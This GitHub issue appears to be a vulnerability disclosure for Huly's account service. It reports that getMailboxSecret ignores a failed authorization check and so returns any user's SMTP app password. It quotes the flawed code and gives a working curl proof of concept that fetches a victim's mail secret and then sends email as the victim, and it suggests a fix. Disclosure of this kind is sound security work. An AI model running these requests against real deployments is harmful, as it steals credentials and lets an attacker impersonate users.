Skip to content

Mailbox SMTP Secret Disclosure via Discarded Authorization Check Return Value #10862

@geo-chen

Description

@geo-chen

Summary

The getMailboxSecret RPC method in Huly's account service returns the SMTP app
password for any mailbox to any authenticated user. A service-level authorization
check is called with shouldThrow=false, causing it to return a boolean instead of
raising an exception on failure. The return value is silently discarded, so the check
is completely unenforced. Any user with a valid session token can retrieve the SMTP
credential for any other user's mailbox, enabling them to send email as that user.

Details

The account service exposes an RPC interface over POST / (Koa router in
server/account-service/src/index.ts:380). Any method registered in the AccountMethods
map is callable by any authenticated user unless the handler enforces stricter access.

The vulnerable handler is getMailboxSecret in
server/account/src/operations.ts:2526-2538:

async function getMailboxSecret (
  ctx: MeasureContext,
  db: AccountDB,
  branding: Branding | null,
  token: string,
  params: { mailbox: string }
): Promise<MailboxSecret | null> {
  const { extra } = decodeTokenVerbose(ctx, token)
  verifyAllowedServices(['huly-mail'], extra, false)   // ← return value discarded
  return await db.mailboxSecret.findOne({ mailbox: params.mailbox })
}

verifyAllowedServices is defined in server/account/src/utils.ts:1726-1733:

export function verifyAllowedServices (services: string[], extra: any, shouldThrow = true): boolean {
  const ok = services.includes(extra?.service)
  if (!ok && shouldThrow) {
    throw new PlatformError(new Status(Severity.ERROR, platform.status.Forbidden, {}))
  }
  return ok
}

When called with shouldThrow=false, the function returns false for non-service
tokens but does not throw. The handler ignores the return value and unconditionally
proceeds to query the database, returning the MailboxSecret record which contains
the SMTP app password (secret field).

Every other call site in the codebase that uses shouldThrow=false correctly assigns
and checks the boolean:

  • server/account/src/serviceOperations.ts:725 -- const isAllowedService = verifyAllowedServices(..., false); if (!isAllowedService) { ... }
  • server/account/src/serviceOperations.ts:766 -- same pattern
  • server/account/src/operations.ts:2716 -- const allowedService = verifyAllowedServices(..., false); if (!allowedService) { ... }

Line 2536 is the sole instance where the return value is thrown away.

The getMailboxSecret method is registered in the public dispatch table
(server/account/src/operations.ts:3245, 3348):

// Type union includes:
| 'getMailboxSecret'

// Dispatch map:
getMailboxSecret: wrap(getMailboxSecret),

getMailboxes (line 2516-2524) correctly scopes by the authenticated account UUID:

async function getMailboxes(...) {
  const { account } = decodeTokenVerbose(ctx, token)
  return await db.mailbox.find({ accountUuid: account })  // scoped to caller
}

But getMailboxSecret takes an arbitrary mailbox address with no ownership check.

PoC

Prerequisites: A running Huly instance with the huly-mail service configured and at
least one user who has a mailbox set up. Two standard user accounts: alice (victim)
and bob (attacker). Both have valid JWT session tokens.

Step 1: Obtain a valid user token for bob (attacker)

BOB_TOKEN=$(curl -s -X POST https://huly-host/api/v1/login \
  -H "Content-Type: application/json" \
  -d '{"email":"bob@example.com","password":"BobPassword123"}' \
  | jq -r '.token')

Step 2: Discover alice's mailbox address

Alice's mailbox address can be obtained from the Huly UI, a shared workspace member
list, or by calling getMailboxes as alice. For this PoC, assume alice's mailbox is
alice@huly-mail.example.com.

Step 3: Call getMailboxSecret as bob, supplying alice's mailbox

curl -s -X POST https://huly-host/ \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -d '{"method":"getMailboxSecret","params":{"mailbox":"alice@huly-mail.example.com"}}'

Expected response:

{
  "result": {
    "mailbox": "alice@huly-mail.example.com",
    "secret": "smtp-app-password-here"
  }
}

Step 4: Use the secret to authenticate to the mail server as alice

curl -s --url "smtp://huly-mail-server:587" \
  --user "alice@huly-mail.example.com:smtp-app-password-here" \
  --mail-from "alice@huly-mail.example.com" \
  --mail-rcpt "target@example.com" \
  --upload-file message.txt

No elevated privilege is required. Any valid user session token suffices.

Impact

Any authenticated user can retrieve the SMTP application password for any other
user's Huly mailbox. The attacker can then authenticate to the mail server and send
arbitrary email impersonating the victim. In a multi-tenant Huly deployment this
affects all users who have a mailbox configured. The fix is to assign the return
value of verifyAllowedServices and throw or return when it is false.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions